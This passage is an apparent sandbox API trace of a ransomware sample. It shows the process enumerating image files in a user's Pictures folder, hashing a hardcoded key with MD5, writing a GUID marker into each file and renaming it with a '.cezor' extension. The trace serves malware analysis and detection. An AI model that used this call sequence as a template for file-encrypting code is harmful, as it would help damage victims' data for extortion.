(HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.488] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.488] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\E5 Uz-9etUMMH3CKQC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\e5 uz-9etummh3ckqc.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\E5 Uz-9etUMMH3CKQC.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\e5 uz-9etummh3ckqc.bmp.cezor")) returned 1 [0061.489] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x759ea020, ftCreationTime.dwHighDateTime=0x1d4c99f, ftLastAccessTime.dwLowDateTime=0x67e807f0, ftLastAccessTime.dwHighDateTime=0x1d4cf2b, ftLastWriteTime.dwLowDateTime=0x67e807f0, ftLastWriteTime.dwHighDateTime=0x1d4cf2b, nFileSizeHigh=0x0, nFileSizeLow=0x1583, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EWTals.png", cAlternateFileName="")) returned 1 [0061.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.489] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.489] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\EWTals.png") returned=".png" [0061.489] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\EWTals.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\ewtals.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.489] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=5507) returned 1 [0061.489] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.492] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x155d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.492] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.492] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.492] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x1583, lpOverlapped=0x0) returned 1 [0061.493] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.493] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.493] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.493] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.493] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.493] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.493] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.493] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.493] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.493] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.493] GetLastError () returned 0x0 [0061.494] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.494] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.494] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1583, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.494] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.494] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.494] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.494] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.494] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.494] CloseHandle (hObject=0x5c4) returned 1 [0061.496] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0061.496] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.496] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\EWTals.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\ewtals.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\EWTals.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\ewtals.png.cezor")) returned 1 [0061.497] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22883eb0, ftCreationTime.dwHighDateTime=0x1d4c737, ftLastAccessTime.dwLowDateTime=0xe7ae3b00, ftLastAccessTime.dwHighDateTime=0x1d4d58c, ftLastWriteTime.dwLowDateTime=0xe7ae3b00, ftLastWriteTime.dwHighDateTime=0x1d4d58c, nFileSizeHigh=0x0, nFileSizeLow=0x12f00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TK27wDdNd6Xfl 2b_k_.gif", cAlternateFileName="TK27WD~1.GIF")) returned 1 [0061.497] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.497] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.497] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\TK27wDdNd6Xfl 2b_k_.gif") returned=".gif" [0061.497] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\TK27wDdNd6Xfl 2b_k_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\tk27wddnd6xfl 2b_k_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.498] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=77568) returned 1 [0061.498] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.500] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12eda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.500] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.501] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x12f00, lpOverlapped=0x0) returned 1 [0061.501] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.501] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.501] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.501] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.501] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.502] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.502] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.502] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.502] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.502] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.502] GetLastError () returned 0x0 [0061.502] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.502] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.503] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x12f00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.503] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.503] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.503] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.503] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.503] CloseHandle (hObject=0x5c4) returned 1 [0061.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2feb968 [0061.504] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0061.504] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\TK27wDdNd6Xfl 2b_k_.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\tk27wddnd6xfl 2b_k_.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\TK27wDdNd6Xfl 2b_k_.gif.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\tk27wddnd6xfl 2b_k_.gif.cezor")) returned 1 [0061.506] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f159300, ftCreationTime.dwHighDateTime=0x1d4c5bf, ftLastAccessTime.dwLowDateTime=0xe62438b0, ftLastAccessTime.dwHighDateTime=0x1d4cdc2, ftLastWriteTime.dwLowDateTime=0xe62438b0, ftLastWriteTime.dwHighDateTime=0x1d4cdc2, nFileSizeHigh=0x0, nFileSizeLow=0x4c9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wqelj SIFg-o4.png", cAlternateFileName="WQELJS~1.PNG")) returned 1 [0061.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.506] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.506] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\Wqelj SIFg-o4.png") returned=".png" [0061.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\Wqelj SIFg-o4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\wqelj sifg-o4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.506] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=19615) returned 1 [0061.506] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.508] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4c79, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.508] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.509] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x4c9f, lpOverlapped=0x0) returned 1 [0061.509] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.509] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.509] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.509] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.509] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.510] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.510] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.510] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.510] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.510] GetLastError () returned 0x0 [0061.510] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.510] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.510] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x4c9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.510] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.510] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.510] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.510] CloseHandle (hObject=0x5c4) returned 1 [0061.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee8d8 [0061.511] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.511] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\Wqelj SIFg-o4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\wqelj sifg-o4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\gJs687PmdwJ\\Wqelj SIFg-o4.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\gjs687pmdwj\\wqelj sifg-o4.png.cezor")) returned 1 [0061.512] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f159300, ftCreationTime.dwHighDateTime=0x1d4c5bf, ftLastAccessTime.dwLowDateTime=0xe62438b0, ftLastAccessTime.dwHighDateTime=0x1d4cdc2, ftLastWriteTime.dwLowDateTime=0xe62438b0, ftLastWriteTime.dwHighDateTime=0x1d4cdc2, nFileSizeHigh=0x0, nFileSizeLow=0x4c9f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Wqelj SIFg-o4.png", cAlternateFileName="WQELJS~1.PNG")) returned 0 [0061.512] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ebc8 | out: hHeap=0x670000) returned 1 [0061.513] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0061.513] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.513] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.513] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.514] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.514] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306dac8 | out: hHeap=0x670000) returned 1 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306dac8 [0061.515] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.515] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: 